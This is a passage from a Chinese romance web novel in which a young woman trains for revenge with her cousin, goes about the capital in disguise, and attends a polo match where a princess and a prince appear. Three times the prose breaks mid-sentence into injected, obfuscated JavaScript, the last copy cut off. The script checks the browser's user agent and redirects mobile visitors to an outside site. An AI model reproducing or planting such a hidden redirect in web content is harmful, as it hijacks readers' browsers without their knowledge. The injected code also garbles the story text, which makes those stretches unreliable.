“父母家人当然有,来历不清之人,皇帝也不敢要他做近身护卫。”刚说了这话,花澈有些后悔,偷眼看银荷,又笑道,“皇帝嘉奖他护驾有功,赏他一间大院子,就是——”他再次截住,“他大概一人住着无趣,才来这儿。反正,要说师娘,我从没听见过,自然也没有师妹。不过,如今有了妹妹,师父肯定高兴。” “我知道你师父为何要走了——”银荷恼道,“是被你气走的。” “或许是吧。”花澈笑了,又轻叹口气,“那时师父要离开,他提了许多次,我也劝了许多次,最后,他再不听我,除非我能胜过他。那回确实是第一次,可还没来得及高兴,师父说,没什么可以教我了,白留下也没意思,不如去过过清静日子。他还不许我去找他。先前我是想过去找,不过如今——” 他停住不说,银荷扭头看他。今日,他的头发半束半披,风将几绺墨发在肩上拂着。一个不会被困囿、被束缚的人。 雨似乎是猛一下停住了。银荷离开凝辉阁时,之前笼罩在上空厚重的云已沉降大地,只余东一抹西一抹的几缕,羽毛般漂浮在明净如洗的天空,又映入地面东一片西一片闪闪放光的圆镜中。 银荷也像一片羽毛,轻捷地飞入这幅水墨画。 . 以上种种,不过是两人这段时日所作所为中最最微不足道的几件。但芝麻绿豆在天地间也自有其意义,只是一一道来,未免拉拉杂杂太过;通盘省掉,又恐遗漏甚多,留下缺憾,故此仅择其一二略记。 银荷始终记得她要做的事。 从一到五或许容易,从五到八大概也能办到,但再往上一步就难如登天,非长年累月勤学苦练不行,绝无捷径可走。 尽管银荷聪颖,学得快,每日早起趁无人时也勤加练习,花澈仍不满意。他觉得用刀并不妥当,建议银荷改为射箭。 银荷也没什么不乐意,尽管她脑中的场景是一脚踩在葛全有胸前,长剑一划,砍下他的脑袋来。 听见这个,花澈笑道:“漫说你能不能明晃晃提把剑靠近他身边,就是靠近了,他能乖乖躺着让你砍?再说砍断脖子也要费不小力气,别光图爽快。况且也不爽快,等溅你一身血,怕你是受不了。” 银荷想那场面,确实够恶心的,遂作罢。 花澈带她上三楼习射,累了的时候,银荷就趴在窗边小憩。白云缓缓移动,檐上的燕子来来回回,鸟儿立在树顶,绿茵茵的枝叶懒洋洋地晃动,微光闪烁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121830|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你小时候就是从这里射了大太太一箭?”一次银荷问道。 花澈很意外:“老太太连这事都告诉你?我也干过几件像样的事,祖母怎么专拣这些说。” “怕你再乱来,才栽上了这些树吗?”银荷指指窗下成片的树荫又问。 她说话常将花澈逗笑,这时他便笑了一阵才说:“做一次便够了,总不至于成了惯犯。这些树以前就有,那时也许没这么密,而且冬天叶子都掉了,看得清楚些。你瞧,就是那个位置,我等着大太太走到那里射的箭。” 银荷顺着他手指看去,总有二十丈距离,有一条小道正到了转弯之处,几乎全部都隐在树下,此时就只能看到井口大一块地方。 “这么远!你那时不是还小吗。”银荷惊呼。 “没什么力道,箭过去早就没劲儿了,只是撞到了她头上发簪。我本来就不过想吓唬她一下,要是真伤了人,祖父还能饶我,妹妹如今就不是和我在这里说话了。” 话虽如此,银荷却不禁有几分气馁,她想自己至今都射不了那么远,当然,到了那日,可以离近些,倒也罢了,只是,她何时才能刺中花澈?“那日”,遥遥无期。 端午过后几天,银荷拿出一只靛青色香袋,放在手心递给花澈,垂着眼说:“日子迟了些,姑祖母不许我动针线,这是我偷偷做的,样子很寻常,不大好看,三表哥莫要嫌弃。” 花澈一时没有吭声,不过银荷正自忐忑,并未注意。她小心地别开脸,不让花澈看见,自然也就看不到他脸上表情。 花澈将香囊拿在手里,看了半晌方道:“妹妹说错了,这个做得很好,实在是我见过的最好看的东西。” 做只香袋容易,不过要做个什么花样,银荷当真费了不少心思去想,最后绣了只白鹭,意境取自“星河鹭起”。 香囊不过方寸之物,本不好施展,可对银荷来说不在话下。也不是她绣得格外繁巧,但让人看一眼就感觉到白鹭羽尖的那股风。 花澈低头要将香囊系在身上时,一颗心真如鹭般振翅欲飞。 就在这时,银荷拿出刀猛地向他胁下刺去。 “刺中了!”她欢呼。 花澈难以置信地抬起头,看着她。 银荷脸上血色一刹那褪了个干净,她低头去看手中——是把削得很钝的木刀,大小与那把匕首接近,刚刚她还以为是自己拿错了。她再看向花澈。 花澈走开,冷冷道:“妹妹完全对付得了天底下任何一个男人,不用我了。” “三表哥……”银荷悔恨无比。 花澈蓦地一转身,已将刀拿在手中,刀尖直指银荷咽喉。 “刚才刺那个地方,我可没死。妹妹手下留情了吧?”他目视银荷,“我就知道,妹妹一定会对我留情。” 银荷怔愣片刻,一把打开他的手,气急败坏喊道:“谁让你装那么像!” “我装得再像,也比不过妹妹。我琢磨妹妹要真想害我,可能我早死了几回了。” “刚才我……你才把我吓死了,你刚才就好像我真的……”银荷又愧又恼又委屈。 “我懂了,只许我上妹妹的当,不许妹妹上我的当?” “不是!” 花澈想了想:“那就是只许我上妹妹的当,而且我还要高高兴兴的,不能鸣冤叫屈?” “也不是!”银荷悔恨极了,别过身。刚刚她确实吓了一大跳,花澈那么痛苦的眼神不可能是装出来的,她差点儿以为真的重伤了他。这当儿,花澈又恢复了平日的样子,她却愈发感到害臊,愧不能言。 “妹妹做得很好。”花澈跳到她身前说,“你决心做一件事,就别顾虑手段是不是光彩,做成就行。你想,别人做坏事的时候可会讲客气?你不比他们更狠,哪来的活路。好了,妹妹做到了,我答应过你——” “没有做到。”银荷急忙打断,“我还没准备好,三表哥说我准备好了,再去。” 花澈想了一会儿:“好吧,再等几日。”他换了一副严肃的口吻,“刚才是我不备,不过万中得一二的机会,别以为每次都能碰上。” 银荷点点头,摊开手说:“还给我。” 花澈把木刀放在她手里。 “我说那个。”她别别扭扭地指一下香囊。 “不是真的给我?”花澈真的急了。 “我……你可能不愿意留着它。”银荷低下头。 “谁说不愿意?”花澈笑道,“不当作妹妹骗我,本来是端午嘛,妹妹送我,我开心收下,这样不好?” “不好。”银荷又生气又难为情。还问什么,到底不好在哪里,她怎能说得出口。 “我知道,妹妹怕我想起刚才,不服。没有的事,我对妹妹向来是——心悦、诚服。” “反正快还给我!”银荷急了。 “那可不成。”花澈赶紧把香囊揣进怀中,“如今也不论它来处,就是天上掉下来的,我白捡个便宜,好好藏了,不敢再多啰嗦。——这行不行?” 继续纠缠下去就更可笑了。“随便你。”银荷小声说。 40. 出门 瑷宁在娘家已住了两个月,这是前所未有的事。每十日花沛便来请她一次,以至于郑家人极不过意,私下里不住劝说瑷宁,要她莫和姑爷使性。 瑷宁由着人劝,出嫁的女儿重回娘家,自然只有听话的份。不过她自己还另有一种不对劲:和家人说着话,不管从哪里起个头,她常常拐几个弯就想起花家是如何如何,甚而想出了神;娘家的嫂子、弟妹虽和气,但再怎样也没有和映雪、花家几位姑娘在一起时那种亲密。 对花沛她想得最少,也不喜他来,嫌搅扰了自己。花沛还是惯常的温和,从没催促过她。休沐日他一早便来,非耗一整天不走,刚见面照例会转达老太太等人的关怀问候,临别时总有一句:“今天和我一道回去,还是在家里再休息几日?” 瑷宁恨不得在他脑袋上敲一记,这个人当真虚伪至极。他已经失去了她最看重的品质——心地诚实,敢作敢当。 这一次瑷宁问他:“表姑娘这一向可好?怎么不听见你说?”说完,直盯着花沛。 花沛顿了顿,微笑道:“郭姑娘让她兄嫂接回家里去了。” 大太太如今肯答应了?莫不还是戚晚在中间弄鬼。瑷宁心道,却不追究,只问:“曲表姑娘呢,她也该议亲了吧?” 花沛又停了一停,说:“老太太没提过。太医嘱咐说,要表姑娘‘宁平毋躁,多定少思。’她每日都在佛堂。” “宁平毋躁,多定少思?”瑷宁哼一声,“我倒适合和曲姑娘做个伴。今日我回去。” . 这段时日,银荷几乎事事都满意,唯独一件:宝屏的父母预备给宝屏说亲,对方是续娶。 绘云来和织雨聊天,银荷便也听见了。 “舅太太说,那人读书做官都很得意,头次成婚早,年纪也大不了几岁,何况又没生下儿子。舅老爷做主的,老太太是不高兴,不好说什么。” “怪道屏姑娘好久不来。都说定了?明年办喜事?” “媒人还没上门。不过说快也快,看那样子,年内就要办。” “不是读书人么?讲究人家,哪有这么火急火燎的?” “人家鳏夫再娶,着急呢。” 银荷听了,才是急得厉害,想当面问问宝屏,老太太却要她过一段再说。 银荷无法,心里暗暗发愁。花澈见了问,她不好意思讲,吞吐道:“我想去看看屏妹妹。他们好像给她找了一个……没准她就快……” 花澈听明白了,不当回事地摆摆手:“我跟老太太说,请她来住几日好了。不是嫁去外地吧,想见面以后也能见着。” “不行,不能嫁这个人。”银荷急道。 “为何?她另外有心上人?” 银荷没他这样大方,扭捏着说:“不是。我哪知道……我们又没说过这个。” “若有,该他们二人自己去设法;若无,那便由她父母做主。妹妹是觉得哪里不妥?” “她肯定不喜欢那人。”银荷顾不得,直说出来。 “有几个女子能嫁中意的人?”花澈轻轻巧巧道。 银荷瞪着他,想辩,却无甚好说的。 花澈仍笑着:“何况,这一个不喜欢,下一个就合意了?你还能管几次?反正,轮不到咱们两个掺和。听她老爷太太的,她不愿意,也是和他们说,旁人指手画脚没用。” 银荷生了气:“若是你,未必就肯听老爷太太的。” “怎么不听?别的不论,这件事,老爷太太一定按我的心愿来。至于妹妹——妹妹放心,别人我不管,但妹妹我一定管,我保证妹妹能依心愿,嫁个最好的人。” 银荷只当花澈还疑她,脱口而出:“我不嫁人。” “不嫁人?”花澈接得也很快,“你就这么有把握,等老太太百年之后,大哥大嫂愿意一直养你在家?” 银荷脸一下涨得通红,她一声不吭,立起身来就向外走。 花澈赶紧拦住。 这种时候,姑娘自然不会讲心里话,但银荷说不嫁人,倒像真的,且又绝不是要在花家天长地久之意。一着急,话就出来了,话一出,花澈心中早已悔了。这时,见银荷变脸,不免急着弥补,也不思量便道:“妹妹别生气,是我说错了。不用理大哥大嫂,还有我呢。我愿意养妹妹一辈子。” 这不啻于火上浇油。银荷的神情让花澈以为她就要打他了,他已决定任由她。 不过银荷并没有动手,她从花澈身旁走了出去。 . 瑷宁回家头一两天,就看明白,表姑娘那头,确实无可指摘。 也不尽然,要是她明事理,就该回她们曲家去,而不是赖在表兄弟家里。不为别的也为避嫌,青年男女,低头不见抬头见的,就算没拉拉扯扯,谁能说清楚?将来议亲,别人就要背后讲话了——宝屏都知道,到了待字之年,就少过来打转。 不过瑷宁哪怕怀着最大的恶意,也只能挑出这个不是来。何况表姑娘自幼就少了母亲教导,可能不懂这些。 瑷宁听说曲家提出要收养表姑娘,被老太太一口回绝了,虽是意料中,难免失望。又想,只能先去探探表姑娘的心思,必要时点醒她,也算为了她好。什么都不懂一个毛丫头,别再自误了。 第一次,眼看快到佛堂,瑷宁却被一位管事急事叫走。第二日,她再过来,银荷正端端正正坐着写字。 银荷看见她,有些惊讶,正想站起来,瑷宁摇摇手:“不忙,先写你的,别让我扰了你。”说着她在银荷对面坐下。 银荷也不多客气,继续写下去,笔势矫若惊龙,颇有男子之风。 瑷宁瞧了一会儿,疑窦顿生:她一个活泼姑娘,一日日倒能坐住。自己这样盯着她打量,她也能沉住气。她哪像是心里没个主宰? 不知为什么,瑷宁生不出嫌憎。不能怪老太太偏三向四,旁人尚觉得表姑娘可疼,况且老太太,亲兄弟留下的唯一骨血,姑舅亲辈辈亲啊。 这时银荷写完一页,抬起头来。瑷宁不及收回视线,四目相对,两人俱已明了,各自心潮起伏。 瑷宁先扭开脸,四下里看看:“这里倒是清静,我也该找个这样的地方躲躲。” 自打昨日听花澈说了那话,银荷便想:这时,你们都不信我,将来,你们且看。 她没向瑷宁露出歉然之意,只说:“其实我在这儿总清静不下来,恐怕我该找个别的地方。” “想去哪儿?” 银荷踌躇半晌,终归给不出一个明确答案。“我不知道。”她只好说。 瑷宁心中叹了口气,却伸出手,在银荷肩上拍了拍。 瑷宁前脚刚走,花澈就卡准了时候似地进来。银荷虽气已平了大半,但也还不愿见他,看他这就寻了过来,心内突然一阵委屈,低了头只管写字,下笔越发剑拔弩张,每个字都傲头傲脑的。 “妹妹不像抄经,倒似在写檄文:有表兄花澈一人,鲜仁寡义,纵诞不肖,逞性妄为,非语伤人,余劣迹不可数。四海之波,不足以涤其恶……” 银荷实在憋不住要笑,忙打断他:“你只有一桩罪——巧言如簧,颜之厚矣。”又问,“你刚才看见大表嫂了?” “大嫂没看到我。她说什么你不用放在心上。错不在你,他们一时犯糊涂,过后会明白的。” 银荷惊讶地看着花澈。他果然知道? 花澈没容她多想,摆摆手,正色说:“我来是为向妹妹道歉的,我是真的错了。我占尽了好处,也没成个什么样子,倒好意思在妹妹跟前放大话。如果妹妹是弟弟,岂止强过我百倍,便是妹妹,也让我无地自容。” “不过阿弥陀佛,感谢佛祖,让妹妹生来就是妹妹。”花澈说着双手合十对佛像拜了一拜,“妹妹聪明绝伦,定能看出我是诚心,定会原谅我对不对。” “你胡咧咧些什么。”银荷又气恼又好笑。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151730|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹妹不再生气了?” 银荷没说话,低头继续写字。 花澈在佛堂里转了两圈:“我以为这家里我都踏遍了,这儿倒还是第一次进来。”“无意冒犯,”他又向佛像拱拱手,“不过我看这个地方不大行。” 银荷不解地看看他。 “过几日天气凉快些,妹妹就可以和我每日出门。” “真的?”这下她没法装矜持了。 “对。不过我们先不去寻葛全有,横竖他跑不掉。咱们先干另一件事,先去看看和屏表妹议亲的那个人到底行不行。” 没隔两日,老太太听人说起谁家女儿在延恩寺礼佛听经,治好了病,被说动了心思。延恩寺乃京中数一数二的大寺院,在西边城郊,离花府不算很远,老太太每年也会去上一二次香。那里终年香云缭绕,金光普照,正是一方宝刹。 待问了银荷,自然无有不答应。于是便定下,改为每日去寺中禅室抄经。 寺庙清修之地,银荷怕小朝等嫌闷,要她们留在家,只带了在佛堂伺候的小丫环。 第一日出门,马车将银荷带到了一座别致的宅院前,门前安安静静,只见个打扮俏丽的姑娘迎了出来。银荷心中猜疑,不知该如何称呼,那姑娘上前扶了她:“我叫飞镜,姑娘请这边走。” 飞镜一面走一面不住偏头打量银荷,银荷装作不在意,疑惑更甚,暗地里已把花澈质问了一通。 进了屋才晓得,这位飞镜姑娘是要替她装扮,便于在外行走。 飞镜说:“我把姑娘扮个家僮,只是,总不好比主人还俊,得把姑娘扮丑,姑娘莫怪。” 银荷很是不好意思,因问她:“你怎么会这个?” 飞镜抿嘴一笑:“我先前在梨园行当。” 银荷心想,富家子常往戏园寻消遣,花澈能找到飞镜,自然不奇怪。 飞镜又说:“不过,我不会唱戏,我在戏园里给人梳头。后来,为着一些事,呆不下去了,多亏元宝大哥碰见,把我赎出来。” 这一听,银荷面颊便红了,所幸飞镜已在她脸上涂了一层又一层,不曾露出痕迹。 不一会,又换上特制的衣裳,连身形都看不出了,往镜子里一瞅,银荷自个儿竟不认得自个儿。 听见花澈声音,银荷悄悄出去,预备惊他一惊。 花澈扫一眼:“还不错。只是让妹妹屈就了。” 银荷不服,以为他事先晓得的缘故。花澈笑道:“妹妹这双眼睛,在哪里我不认识?” 银荷甩手就出了门,元宝正在外面牵着一匹马,她瞧见是在马场惯常所骑,曾被花澈讥为驴子的小花马,惊喜地奔过去:“这不是我的雪豹吗!” “雪豹?”花澈放声大笑。 “怎么了,它不配叫雪豹?” “配,配。我没想到,妹妹还给它取了名字。”花澈上前,拍拍马头,“你包子不大,褶儿不少嘛。” 银荷又要笑,又要和马说话,忽地想起来,指着花澈黑马问:“它有没有名字,叫什么?” “不能告诉妹妹。” 行了好一段,花澈才说:“墨球。” “什么?”银荷没听明白。 “我的马叫做墨球儿。” 银荷在马上笑得前仰后合:“我本来猜它叫夜风,就是叫泼墨也好啊。‘墨球’——怪不得你不敢说,定是怕别人笑话。” “你是第一个敢笑话它的。” 银荷好容易止住笑:“既起这种名字就别怪要惹人笑。”她又俯身对着马儿说,“墨球,你别放在心上,我知道你也无可奈何,我不是笑话你。” 那马极通灵性,向她友好地瞧了一眼,轻嘶一声。银荷喜之不尽:“你可真聪明,名字算不得什么,你是匹好马。” 正自高兴着,听见花澈问:“妹妹饿了吧,咱们先去吃饭。去云聚楼如何?” 银荷一愣,别过脸。“我不去。” 41. 吃喝 花澈听银荷不想吃饭,也不勉强:“那咱们就先去茶楼坐坐。” 说话间,到了茶楼,花澈也不用跑堂招呼,熟门熟路进了一间空屋,指了一条茶案要银荷和元宝坐了,自己在另一案前坐下。 刚添了两次茶,一个三十来岁、模样斯文的男子进来与花澈厮见,花澈称对方“沈大哥”,原来这就是要与宝屏议亲之人。 两人斯斯文文谈话,沈大哥似乎帮了宝屏家一个忙,花澈谢了他,沈大哥亦有一番自谦之辞,最后,花澈起身向其长揖道:“表舅一家皆感激不尽,舍表妹年纪小,尚不懂事,小弟在此代为致谢。” 银荷怀疑这位大哥面色隐隐泛了红,至少也是不很自在,不过他并没羞恼,又客气几句便告辞了。 出了门,花澈说:“这个沈召瑞倒还不坏。” 银荷也承认,但她说:“他要真是个地道人,就不会一把年纪了还想着再娶。” 花澈则说:“他还不到四十,也不能算一把年纪。照妹妹看,一辈子便只能娶一个或嫁一个了?” 银荷暗道,男子大概都不甘心这般,何况花澈。平生所见,男儿深情者惟曲展老爷一人。又想花家二老爷亦是丧过妻,自己多少像是当着花澈面指责他父亲,她可没有那个意思。于是忙又辩白:“要是两厢情愿,当然不妨。不过屏妹妹摆明了不会愿意的。” 花澈笑道:“妹妹说得很对,至少得两厢情愿。这个姓沈的就算了,不过,将来若有人敢不自量力,想打妹妹主意,我绝不客气,非揍死他不可。” 见他又胡扯,银荷气得脸上发烧,转头不理会。 花澈说:“这会儿妹妹饿了吧,咱们去吃饭。”扭头唤元宝过来,吩咐道,“你去说一声,要他们准备几样菜。” 银荷一听还是要去云聚搂,又记起宝屏说过,调戏俞雁姑娘的几人都挨了揍,分明正是花澈所为,也不知心里怎么不大痛快,一板脸就说:“我不想吃饭。” “妹妹还不饿?”花澈奇怪道。 “我随便吃点儿就行,你们去你们的。那家我看挺好,我就在那儿等着你们,不用急。”银荷也不及细寻哪里有饭铺子,向路边胡乱一指。 花澈转头看了一眼:“妹妹能吃下去烧饼?” “烧饼怎么了,我能吃三张——至少!刚出炉的烧饼最好吃了。”说着她彷佛闻见香味,咽了口唾沫。 花澈不为所动:“烧饼没问题,除非妹妹也能吃得动菜板。” 银荷仔细一瞧,才发现刚才所指是间小木匠铺子。为了吸引人,还有个伙计坐在门口,刨、凿、刻、钻地做些木盘木碗木玩艺,摆在一旁。 “反正前面总有包子铺,不至于饿着。”她赌气跳下马,向前走去。 花澈也跳下马,拦住她:“上回有人让妹妹受了委屈?” 银荷连忙否定,但是支支吾吾,又说不出什么来。 “妹妹不愿,那我们就去别处。”花澈也不再劝,又转向元宝吩咐,“连个木家火店都不如,留它何用,索性拆了省事。你现在就去卸了门砸了匾,让里面的人统统滚蛋。” 元宝为难地站着,应也不是,不应也不是。 “用不着吓唬人。”银荷嘴硬道。 花澈看元宝:“听见没有,还等什么?顺便问问清楚,过年的时候,是谁惹恼了我妹妹。” 银荷小声说:“没人惹我。你愿拆就拆,和我说不着,反正等着将来心疼后悔了,别赖我。” “这是什么意思?”花澈盯住她不放。 银荷只好说:“我去不太方便。” “哪里不方便?” “三表哥你去见你的……,何必非要拉上我。” “我的什么——”花澈变了脸色,“什么乱七八糟不明不白的。” “我哪里知道是你的什么?”银荷来了气,索性一股脑说道,“我就是知道也说不出口,你自己都承认是乱七八糟——要不是你先不明不白地待人家,哪会像如今这样说都没法说!” “谁跟你说的?” “有什么关系,你还怕人说么?” “我不怕人说,怕有人信!”花澈气冲冲道,抬手在银荷脑门上弹了一记,“真该好好敲敲你这只木鱼脑袋瓜,都是打哪里冒出来的念头?” 银荷挺疼,负气忍着。“我并没告诉人——三表哥若是担心这个。” 两人互相瞪了一会儿,忽然,银荷露出腼腆的神情:“可那位俞姑娘多么好的人品风度,要是她做表嫂不是很好么。姑祖母见了一定会喜欢的。” 不过,这次银荷有了准备,瞧花澈面色不对,赶紧躲开,半晌听见说:“既然这样,就更该去看看。走吧,不然我拉你了。” 元宝远远站在一旁,听到对话,偷笑了一阵,这时正要开溜,花澈叫住:“不必忙,一起过去。” 三人到了云聚楼门前,除了有人把马牵走,没一个人上前来招呼。花澈径直朝里走,进的不是上次银荷待过的房间,而是一间更隐蔽,布置同样雅致舒适的所在。 很快,俞雁独自一人进来。银荷一眼就看出她和上次见面时截然不同:打扮还是一样华丽,面容也是一样的美,但神情中的妩媚之态无影无踪。她没有什么过多的客套,简单行个礼,称呼花澈为“三公子”,花澈则称她“俞姑娘”。几人落了座,花澈示意银荷和他坐在窗边,元宝坐在桌前,俞雁拿出账册,在元宝对面坐下,立即就和他说起话来,谈论的都是些酒楼经营事宜。 银荷几乎有些敬畏地看着俞雁,甚至忘了在别人眼中自己是男子,这样盯着女人十分无礼。俞雁大约是习惯了他人的倾慕,泰然自若,并不向她多看一眼。 不大工夫,又是青梅和碧桃两人进进出出地端来茶点。银荷看她们脸上没半分异常之色,不禁得意,以为自己没被认出来。 她不知道其实一出了屋子,碧桃就悄声向青梅嘀咕说:“今儿可奇了,你瞧这是个什么人?” “三公子的朋友。” “绝对没那么简单!你看他都不开口,而且刚才也不肯洗手,那双手不好露出来呢——这要不是个姑娘家,你砍我的头。” “那也是三公子的朋友,你还是少看两眼吧。可别再被俞姑娘知道你不好好干活,数落你的时候才后悔呢。” “俞姑娘哪儿会数落我。这些事情你可没我明白。坐三公子旁边那个可是老板娘呢,而且我猜到她是谁了。咱们做酒楼生意,头一等重要是什么——识人的眼力!这是谁平日里常说的?”碧桃洋洋得意道。 青梅诧异地看着碧桃,以为她在说梦话。不过下次再进去时她到底没忍住,暗暗瞧了瞧。这一下恰恰看到,不知先前三公子小声说了句什么,旁边那人半羞半嗔地瞪了他一眼。是了,她认出了这双眼睛,想起了那位姑娘——她那两只眼睛能说出的话语,比嘴巴还多呢。这一眼当然也惹得三公子眼中闪耀出笑意。青梅头一次真心实意地佩服起了碧桃。 饭菜端上来后,俞雁和元宝也谈完了事。须臾,屋里便只剩银荷和花澈两人。 花澈说:“谁亲谁疏,妹妹这下总该瞧明白了吧?” “我瞧人家才不愿理你。” “只要妹妹肯理我就好。” 银荷一得意,不防心里的话溜出嘴边:“可她明明比我美多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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起先银荷还专注听着,对俞雁又同情又佩服。听完最后一句,她感觉自己的脸一刹那红透了,要不是画过妆恐怕看不大出来,她根本不敢抬头。“我高兴来。再说,我……别听元宝胡说。”她连连摆手摇头,前所未有地窘迫,心里简直恨死了元宝,真是有其主必有其仆,乱讲话的毛病如出一辙。 俞雁连忙道:“下次再来,还有上回两位姑娘,得空了一起来。” 银荷郑重答应了,俞雁才放她走。 “元宝哪去了?”出了门,看见花澈一人等着她,银荷劈头就问。 “妹妹找他做什么?” 银荷气恼道:“我看他准是心虚躲着呢,才吃几天盐,就学人乱讲起闲话来了。” 这话说她自己倒也合适,她却一本正经指责别人。花澈大笑起来,笑完了偏还问:“他讲了什么闲话?” “和你不相干。”银荷飞快地说。过了会儿,她又好奇问道,“我听俞姐姐说,就是她的……你为何要杀了那个人呢?俞姐姐说他很坏,他到底做了哪些坏事?” “我不知道他还做过什么,我杀他是因为他骗我。”花澈说。 “因为他骗你?”银荷惊呼。 花澈瞧她两眼,笑道:“妹妹不用担心。别的人不行,妹妹可以骗我。你就是骗死我,我也不会向你讨还。” “我才没担心。”银荷催马小跑起来。 因为宝屏的事情解决了,因为刚吃完一顿美味饭菜,因为新奇的街景,也因为又一次坐在了马背上,这一切,让银荷感到难以言表的、许久未曾有过的欢悦振奋。 . 接下来的日子,银荷日日随花澈出门。每次先找飞镜装扮了,过上一二个时辰,再洗了脸,换回衣裳回家;也并没一件正经事,只是东游西逛。 一日,京中有马球赛,花澈带银荷去看。这场上场下俱是些富贵闲人,多一半花澈熟识,他只向他们点头致意,就不再理会,关照银荷在场边凉篷下坐好。 银荷四处张望,瞧见不远处独自坐着位贵公子,一身银丝绣花白袍,发束银冠,手里握把折扇,不住地打开又合起,不时在手上轻轻敲着。银荷本来不过略扫两眼,目光已经移开又转了回去,这人面容白皙,五官异常秀丽,分明是个女子啊。 她正想告诉花澈,花澈已经对她说:“那是公主,太子的胞妹。” 42. 梨子 银荷听花澈说那位贵公子打扮的姑娘是公主,更加吃惊:“公主一个人出来玩?” “也不是一个人,那些是侍卫。”花澈把散在附近三五个或站立或走动的人示意给银荷。 那几人极不起眼,要不是花澈提醒,银荷根本留意不到。 她肃然起敬:“他们藏得可真好。你师父也像这样么?” 花澈摇头:“做侍卫不可太张扬,但与寻常人到底不同,仔细看能看出分别。也论等级,等级越高,越不容易叫人瞧出来。但最上头的又不一样,惹人注目也无所谓,我师父便是。” 银荷出神一回,又问:“他们听得见我们说话吗?” “听不见,妹妹想说什么只管说吧,声音再大些也无妨。” 银荷放了心,又去看公主。 “别老盯着看,万一她不高兴,要你这个大胆刁民的脑袋,我可没法儿救你。” 银荷可不怕。她看公主的装扮很不高明,让人一眼识破,想起了当初的自己,不禁好笑,便问:“公主多大了,叫什么名字?” “她是三公主,封号长宁。公主的年龄和名讳我一介草民可不知道。不过他们这辈男女名字都从人部。太子名‘俭’,四皇子是个‘修’字。” “四皇子就是表姑的……也算是表哥罢。修表哥。”银荷在嘴里念着。 花澈拉下脸:“什么表哥——你不能这么叫他。” “唔。”银荷答应,以为对皇子确实不能如此称呼。“反正叫着也别扭,不大顺口。太子的名字倒谦虚——‘俭’。” 她想:卫大哥好像说过,太子尚俭,可见名字确能影响人。许久不曾见卫大哥了,不知他最近好不好…… “妹妹想什么呢?”花澈问。 银荷回过神,却不愿和花澈说起卫维扬,忙答:“我在想名字的事。人部中还有哪些字好做名字?倔,这还罢了,若是叫了傲,岂不糟糕。” 花澈忽地笑了:“反正,我帮妹妹选好一个。有个字对妹妹极合适——妹妹该得一个‘倾’字,谁让妹妹倾国倾城,倾倒众生,令人一见倾……” “有个字对你合适。”银荷愤而打断,“三表哥满口胡诌乱侃,成天只会调侃人,该得一个‘侃’字。” “唉,”花澈不无遗憾地说,“我还以为妹妹怎么也会送我一个‘俊’字。” 银荷绷不住扑哧笑了,心想他可真不知羞。 这时,“咣”一记响锣,比赛开场,两人都转过头去。但就在一霎间,银荷瞧清楚了花澈的侧脸——公道地说,何止是一个俊字。她感到一阵古怪的悸动,片刻后,又觉出一丝伤心:“其实,我该得的,是一个‘假’字啊。” 不过,等场上马儿跑起来,银荷便把其它心思都抛开了。她没看过马球,起初眼花缭乱,很快就瞧出门道。比赛的是些不过十八、九岁的青年,其中一个生得浓眉大眼,模样招人,球技也尤其精湛,银荷的目光不由自主跟随着他。 花澈凑近她耳边说:“妹妹瞧中的这个人叫田良益,这里头确实无人能与他比。” 银荷气极羞极,索性只盯着田良益。可她赌气的心思敌不过羞赧,再没法看那人,只好去看他的马。过了一会儿,她的思绪不知怎的一拐弯,就想到如若墨球登场,一定气贯长虹,比所有骏马都更加壮美。进而又想——尽管她不肯承认,但她知道花澈是什么样子:秉风雷之势,具龙虎之姿。 念及此,银荷心中一惊。 她使劲闭了闭眼睛,把不相干的念头挤出脑海。心潮平息,外界的喧闹恢复,她又可以聚精会神望着场上。不巧此刻比分停滞不动,双方都疲怠焦躁,失了一鼓作气的拼劲。银荷这时发现田良益先前的表现有些花里胡哨,而现在他摆脱不掉对手纠缠,便不复从容,也不顾及队友,只管横冲蛮闯,更令人失望。 赛后,众人都起身,花澈因懒得和人招呼,坐着多等了一会儿。那位长宁公主也没离开,左顾右盼,瞧见了他,面露喜色,径直走过来。 “表哥!” 听得这一声,银荷眼睛瞪得溜圆。 “殿下好像错了称呼。”花澈站起身。 银荷也站了起来,她这小厮可不好听公主说话,正想赶紧旁边去候着,花澈却暗地里拉她一下。 “三公子总是这样正经,连句玩笑都听不得。”公主撇撇嘴,气恼道,“能叫你表哥的那个也在,就是不知这会儿去哪里了。” 话音刚落,远处跑来一人,到了近前唤声“表哥”。这是一位和花涛年纪相仿的青年,眼中透着刚正、聪敏的神采,虽做长随打扮,但一股英气难以遮掩。除了身量略长出些,他看来与银荷此时模样有三分相像。 这该就是“修表哥”了,银荷见他倒觉得亲切。 这回花澈也亲热许多:“原来四殿下也来了,恕我失礼。” 四皇子更热络,抓住花澈说:“好久没见表哥了。” 公主在旁插话:“今日比赛实在没什么看头。三公子既来了,为何不下去玩?” 四皇子笑道:“实力相当才有意思。表哥要是上场,这些人就没什么可玩的了。” “殿下过誉了,我不过是占了马儿好的便宜。”花澈道,“太子殿下快要回京了吧。” 